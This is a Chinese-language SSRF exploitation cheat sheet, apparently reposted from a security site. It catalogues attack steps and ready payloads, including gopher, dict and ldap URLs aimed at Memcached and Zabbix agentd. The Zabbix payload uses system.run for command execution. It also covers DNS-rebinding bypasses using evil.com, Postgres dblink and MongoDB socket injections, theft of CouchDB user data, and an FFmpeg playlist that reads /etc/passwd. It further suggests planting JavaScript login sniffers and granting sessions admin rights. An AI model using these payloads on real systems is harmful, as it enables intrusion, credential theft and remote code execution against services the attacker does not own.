SSRF 备忘录

基础

SSRF,即服务器端请求伪造(Server Side Request Forgery)攻击。从易受攻击的服务器创建请求到内部或因特网 Internet的能力。攻击者可以使用URI模式支持的协议,与使用其他协议运行的服务进行通信。这里我们收集了这种攻击方式的各种要点和示例(漏洞利用),读者可以将其看作一个备忘录,欢迎补充。

典型的攻击步骤

  1. 扫描内部网络以确定您要访问网络的内部基础结构
  2. 收集本地和其他内部主机的端口开放情况
  3. 使用wiki或Banner指纹识别确定端口的服务/守护进程
  4. 确定SSRF攻击的类型:
  • 直接套接字访问
  • 套接字客户端(如java URI , cURL, LWP 或其他)
  1. 如果是直接套接字访问的话,使用 CRLF 或其他注射方式
  2. 如果是套接字客户端,需要确定可用的URI模式
  3. 比较现有的模式以及服务/守护进程的协议,找到攻击的可能性
  4. 确定基于主机的认证程序,尝试利用它

文件描述符的利用方式

针对云环境、共享主机和其他大型基础设施,有三种访问文件描述符(File Descriptors,FDs)的方式:

  • API解释器(如:针对PHP,fd:// wrapper)
    • 如果没有这样的API或没有所要求的功能,可以尝试加载本地扩展,如

PHP (需要dlopen,但是不执行): https://github.com/dhotson/fdopen-php

*注意,您不能通过套接字访问/proc/<PID>/fd/<N>文件!

URL支持的模式

SSRF可利用的协议

典型案例

Apache web-server HTTP解析器

尽管RFC 2616规范中有明确规定,CR或LF在任意 HTTP控制结构中都绝对不能代替CRLF,但Apache Web-server允许单个LF代替CRLF。攻击者可以利用此功能过滤攻击包中的0x0d字节。

例如:GET / HTTP/1.1\nHost:localhost\n\n

注意:Apache Tomcat没有相同的特征,只有CRLF和LFCR存在可能性。

Nginx Web-serverHTTP解析器

Nginx还支持CR字节(0x0d)的分流器。替代字节为:0x20 ,0x30-0x39。

例如:GET / HTTP/1.1\s\nHost:localhost\s\n\s\n

也可以使用0x30-0x39 代替0x20(\s)。

这里有一个简单的HTTP分流器测试:https://github.com/onsec-lab/scripts/blob/master/http-splitter-fuzzer.php

漏洞利用

基础

有很多漏洞都可以供SSRF攻击使用,对这些漏洞进行简单的分类:

  • 格式程序
    • XML
      • XXE
      • DTD 远程访问
      • XML设计
    • OpenOffice
      • DDE 公式
      • 动态数据链接
      • 外部资源嵌入ß
    • PDF (TCPDF)
  • 直接套接字访问
    • CRLF注入
  • Net 库对 URL的处理 (不安全的服务器端重定向等)
    • cURL
    • LWP
    • NET URI
    • Java URI
  • 外部数据链接
  • 数据库
  • Postgre
  • MySQL
  • MongoDB
  • Redis
  • Oracle

典型案例

Google docs

HTTP CRLF注入无限制的端口和主机(由于防火墙的限制,不能通过WebApp)

更多资料:http://d0znpp.blogspot.ru/2012/11/google-docs-spreadsheet-ssrf.html

ZeroNightshackquest挑战

源代码:

漏洞利用技巧

绕过限制

一般情况下,执行SSRF时遇到的限制可以分为两类:

  • 输入验证(如使用正则表达式过滤URL)
  • 网络限制(防火墙规则)

输入验证

不安全的重定向:绕过验证输入的简单方法是URL重定向。HTTP客户端不是浏览器,通常能够做不安全的重定向(除java用例外)。

<?php

header(“Location: gopher://localhost:123/1asd”);

?>

对cURL、 LWP 、 ASP.NET 也适用。(exploit:http://anyhostwithredirest.com/ ->gopher://localhost:11211/1stats%0aquit

DNS pinning

想要绕过域验证,可以简单的使用 DNS pinning 技术

对受害者主机所在的子域的DNS服务器定义一个A或AAAA记录:

$ nslookup local.oxod.ru

Non-authoritative answer:

Name:     local.oxod.ru

Address: 127.0.0.1 <- it’s intranet resource, but local.oxod.ru is also right domain name for input filters

DNS pinning 竞争条件

请看以下代码:

<?php

if(validate_domain($domain)){

file_get_contents($domain);

}

有趣的是,这个应用程序有两个不同的DNS请求,第一个来自于 validate_domain() 函数,第二个来自于 file_get_contents()函数。攻击者可以伪造第二个请求的DNS应答以绕过检查。

来自攻击者DNS服务器的第一个DNS应答可能类似下面这样:

evil.com -> 8.8.8.8 (validate_domain函数里可能存在白名单)

第二个应答则类似下面这样:

evil.com -> 127.0.0.1

PHP fsockopen()URL解析技巧

<?php
$host=’127.0.0.1′;
$f=fsockopen($host,80);

但是PHP会将 $host变量中的端口解析为URL。例如:$host=”localhost:11211”的情况下,11211将会覆盖硬编码的80端口。更多出乎意料的解析案例例子参见下图:

网络限制

这种情况下,唯一的解决方式就是利用开放重定向漏洞和内网中的另一个SSRF。

协议指纹

SSRF攻击中,想要确定目标端口接受的协议,可以使用基于时间的测量方法。这种方法简单而稳定。发送待测试协议类型的数据包(指纹)。观察服务器对这些包的响应时间。

可以使用Nmap进行探测,不过在测试基于时间的案例时需要做一些调整(/usr/share/nmap/nmap-service-probes)

也可以侦查SSL及其漏洞利用,注意,如果可以向 HTTPS数据包注入 CRLF,那么也适用于向IMAPS和其他的的SSL协议进行注入。

典型案例

【HTTP】

POST / HTTP/1.1

Host: localhost

Content-Length: 5

服务器将等待最后5字节的请求,套接字依然处于打开状态。(Exploit:

gopher://localhost:8001/1POST%20%2fHTTP%2f1.1%0d%0aHost:localhost%0d%0aContent-Length:5%0d%0a%0d%0a

【缓存】

没有“quit”(退出)命令的纯文本请求。(Exploit: curl http://localhost:11211/

检索数据

通常易受攻击的应用程序是以这样的方式编写的:只有伪造请求的响应遵循特定格式,才能被读取。可能是图像、XML和其他格式。为了使目标响应生成有效的格式,通常使用plain/text协议提供级联技术。

当目标服务能够处理单个TCP数据包中的多个请求时(如HTTP Keep-alive和其他方式),上述目标才有可能实现,同时也应该能够在伪造请求中注入目标协议分隔符(CRLF分隔符注入HTTP协议,LF分隔符注入大多数的 plain/text协议)

典型案例

如果使用cURL 控制台操作SSRF攻击,可以使用URL通配符对每个URL发送多个请求,这些请求的相应会被串联在一起。

Exploit:

#curlhttp://evilhost.com/[1-3].php

SMBRelay 漏洞利用

这种技术在“SSRF + Java + Windows = Love”的相关研究中被讨论。如果受害者主机运行windows操作系统,且使用了Java编写的应用程序,由于Java程序有一个内部的Http-client,默认支持 NTLM身份认证。攻击者可以执行一个HTTP NTLM中继攻击。

原始请求数据嗅探

在许多情况下,嗅探原始的请求数据对SSRF也是有用的,可能是OAuth tokens, basic auth credential, POST bodies或其他数据。当然了,如果有能力修改服务器的响应,这个问题就可以得到解决。您必须在收到来自A服务器的请求后,作出调整,然后再回应B服务器。

307 HTTP状态(临时重定向解释:请求的资源现在临时从不同的URI 响应请求)和其他可用于检索原始POST body的信息,如下表所示:

例如:

$url = “http://localhost/tests/redir.php?s={$_GET[‘s’]}&r=http://localhost:8000/”;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, “key=secret”);
$resp = curl_exec($ch);

利用响应状态300,305,306,307的开放重定向漏洞,可以窃取“key=secret”数据。也可以通过 HTTP响应拆分/ HTTP报头注入漏洞来完成窃取敏感信息的操作。

use strict; use warnings;
my$b=LWP::UserAgent->new;
my$u=’http://localhost/tests/redir.php?s=307&r=http://localhost:8000/a’ ;
$b->post($u,{‘key’=>’secret’});

典型案例

Memcached

协议文档:https://github.com/memcached/memcached/blob/master/doc/protocol.txt

利用步骤:

  1. 收集所有 keys
  2. 确定感兴趣的keys
  3. 将keys值替换成任意值

使用的技术:

  • 寻找HTML模板,注入js登录嗅探器来收集登录/密码
  • 寻找动态模板(宏、PHP、其他),注入任意代码(RCE)
  • 找到你的会话并升级特权
  • 创建一个长期有效的新会话,并设置为管理员权限

漏洞利用:

gopher://localhost:11211/1%0astats%0aquit

dict://locahost:11211/stats

ldap://localhost:11211/%0astats%0aquit

PHP-FPM

利用本地安装绕过诸如safe_mode 之类的限制。

http://pastebin.com/xp2bymr7,注意,这是非常有用的攻击向量!

Syslog

典型的有UDP,也有监听514端口的TCP。可以很容易的向syslog里添加字符串。

Exploit

http://string-that-you-want-to-add.evil.com:514/

首先配置DNS,将string-that-you-want-to-add.evil.com 解析指向 127.0.0.1。

通过各种监控系统发现客户端侧诸如XSS之类的漏洞是有效的,syslog里的数据看起来更像是一个验证数据。CRLF注入在syslog 实体表现的更清晰:

Zabbixagentd

Zabbix是一个常见的监控系统,被监控的服务器上运行 zabbix_agentd 二进制文件,配置信息位于 /etc/zabbix/zabbix_agentd.conf。

默认监听10050端口。zabbix_agentd 只能基于主机授权,配置文件中的描述如下所示:

Server=127.0.0.1,monitor.trusted.network.net

默认或通过调试,将127.0.0.1 列入授权服务器名单。

Agentd 协议是一种 plain/text 协议,方便易用:“\n”代表行终止符,数据包格式是“item[key]”。所有可用项目的列表:http://www.zabbix.com/documentation/1.8/manual/config/items.

有时agentd被配置为可以从服务器上运行任意命令(项目system.ru用来运行关键参数的命令):

EnableRemoteCommands=1

Exploits:

gopher://localhost:10050/1vfs.file.regexp[/etc/hosts,7]

服务器响应:

ZBXD?127.0.0.1    localhostads.localhostlocalhost.vvasd.localhost.vv

gopher://localhost:10050/1system.run[ls]

服务器响应:

ZBXD,usr

etc

var

boot

Postgres

任何能够打开套接字并且能够写入用户输入数据的函数都可以用来实施SSRF。如用于连接外部数据库(包括所有现代主流数据库,如DB2/Oracle/Postgres等)的函数,攻击者可以通过SQL注入来利用这些函数获取内网中的信息。

DBLINK 的描述:http://www.postgresql.org/docs/8.4/static/dblink.html

可用的连接字符串的语法:http://www.postgresql.org/docs/8.4/static/libpq-connect.html

Exploits:

SELECT dblink_send_query(‘host=127.0.0.1 dbname=quit user=\’\nstats\n\’ password=1 port=11211 sslmode=disable’,’select version();’);

MongoDB

攻击者可以使用不同的内部函数,如copydatabase()或其他能够打开任意套接字的函数,插入任意的数据。

Exploits:

向套接字里插入二进制数据:

缓存的通信:

>db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

Redis

Redis里有很多命令对SSRF的执行有帮助:

  • SLAVEOF host port
  • MIGRATE host port key … (MIGRATE 192.168.1.34 6379 “” 0 5000 KEYS key1 key2 key3)
  • CONFIG SET …

CouchDB

CouchDB对与SSRF而言是一个很好的目标。它提供了HTTP REST API,攻击者可以直接利用它发起发起SSRF攻击。API的细节:http://wiki.apache.org/couchdb/Complete_HTTP_API_Reference。也可以通过POST/PUT/DELETE 请求在服务器端执行JS代码来实现攻击。

Exploits:

http://localhost:5984/_users/_all_docs 窃取_users数据库中的用户凭据:

HTTP/1.1 200 OK

Server: CouchDB/1.2.0 (Erlang OTP/R15B01)

ETag: “BD1WV12007V05JTG4X6YHIHCA”

Date: Tue, 18 Dec 2012 21:39:59 GMT

Content-Type: text/plain; charset=utf-8

Cache-Control: must-revalidate

{“total_rows”:1,”offset”:0,”rows”:[

{“id”:”_design/_auth”,”key”:”_design/_auth”,”value”:{“rev”:”1-a8cfb993654bcc635f126724d39eb930″}}

]}

这个例子可以在Debian稳定版本中测试,不需要额外的配置。

如果服务器端的JS有限制(JS运行在沙盒中,没有网络,IO也不提供除文件和函数之外访问功能),这时候你可以使用 View API。技术详情:http://wiki.apache.org/couchdb/HTTP_view_API

攻击者也可以利用复制功能从CouchDB服务器向内网发送请求(http://docs.couchdb.org/en/stable/api/server/common.html#replicate

POST http://couchdb:5984/_replicate

Content-Type: application/json

Accept: application/json

{

“source” : “recipes”,

“target” : “http://ssrf-me:11211/recipes”,

}

FFmpeg

M38u提供了一些有用的宏函数,被成为“EXTINF”,允许攻击者读取任意文件并执行SSRF攻击。示例如下:

$ cat video.mp4

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://example.org/header.y4m|file:///etc/passwd

#EXT-X-ENDLIST

$ ffmpeg -i video.mp4 thumbnail.png

$ ffmpeg -i thumbnail.png out.y4m

$ cat out.y4m

YUV4MPEG2 W30 H30 F25:1Ip A0:0 Cmono

FRAME

# $FreeBSD: release/10.0.0/etc/master.passwd 256366

,! 2013-10-12 06:08:18Z rpaulo $

#

root:*:0:0:Charlie &:/root:/usr/local/bin/zsh

toor:*:0:0:Bourne-again Superuser:/root:

原创文章,作者:M0tto1n,如若转载,请注明出处:http://www.mottoin.com/104673.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code